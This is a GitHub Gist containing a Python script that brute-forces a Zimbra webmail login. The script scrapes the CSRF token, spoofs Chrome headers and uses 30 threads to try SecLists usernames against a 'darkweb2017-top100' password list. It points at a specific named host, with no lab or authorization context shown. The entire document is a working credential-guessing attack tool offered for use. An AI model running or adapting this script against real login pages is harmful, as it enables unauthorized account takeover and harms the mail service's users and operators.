Last active
February 7, 2025 09:51
-
-
Save opabravo/1ba2a0adafce7cd48c358dab150872dc to your computer and use it in GitHub Desktop.
Hydra's http modules aren't flexible enough, i'm just gonna use `curlconverter` + `python` to achieve multi threading password brute force for exceptions
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from concurrent.futures import ThreadPoolExecutor | |
import requests | |
requests.packages.urllib3.disable_warnings() | |
class Bruter: | |
def __init__(self): | |
self.url = "https://zimbras.mooo.com/" | |
self.headers = { | |
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', | |
'accept-language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7', | |
'cache-control': 'max-age=0', | |
'dnt': '1', | |
'origin': self.url, | |
'referer': self.url, | |
'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Google Chrome";v="108"', | |
'sec-ch-ua-mobile': '?0', | |
'sec-ch-ua-platform': '"Windows"', | |
'sec-fetch-dest': 'document', | |
'sec-fetch-mode': 'navigate', | |
'sec-fetch-site': 'same-origin', | |
'sec-fetch-user': '?1', | |
'sec-gpc': '1', | |
'upgrade-insecure-requests': '1', | |
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', | |
} | |
self.data = { | |
'loginOp': 'login', | |
'login_csrf': '', | |
'username': '[email protected]', | |
'password': '', | |
'client': 'preferred', | |
} | |
self.cookies = None | |
self.flag = False | |
@staticmethod | |
def load_passwords() -> GeneratorExit: | |
"""Load passwords from seclists.""" | |
with open("/usr/share/wordlists/SecLists/Passwords/darkweb2017-top100.txt", "r") as f: | |
for passwd in f: | |
yield passwd.strip() | |
def login(self, username: str, password: str): | |
"""Make login request and check if password is correct.""" | |
if self.flag: | |
return True | |
data = self.data.copy() | |
data["password"] = password | |
data["username"] = self.convert_username(username) | |
print(f"Trying | {data['username']} : {password}") | |
response = requests.post( | |
self.url, cookies=self.cookies, headers=self.headers, data=data, verify=False) | |
if "不正確" not in response.text: | |
self.flag = True | |
print( | |
f'{"*"*40}\nSuccess | {data["username"]} : {password}\n{"*"*40}') | |
@staticmethod | |
def convert_username(username: str) -> str: | |
"""Convert username to the right format.""" | |
return f"{username.strip()}@mail.example.org" | |
def set_csrf_tokens(self): | |
"""Set csrf tokens for cookies and login data.""" | |
response = requests.get(self.url, headers=self.headers, verify=False) | |
self.cookies = response.cookies | |
self.data["login_csrf"] = self.cookies.get("ZM_LOGIN_CSRF") | |
def run(self): | |
"""Run the bruter.""" | |
with open("/usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt", "r") as f: | |
for username in f: | |
with ThreadPoolExecutor(max_workers=30) as executor: | |
for password in self.load_passwords(): | |
executor.submit(self.login, username, password) | |
if __name__ == "__main__": | |
bruter = Bruter() | |
bruter.set_csrf_tokens() | |
bruter.run() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment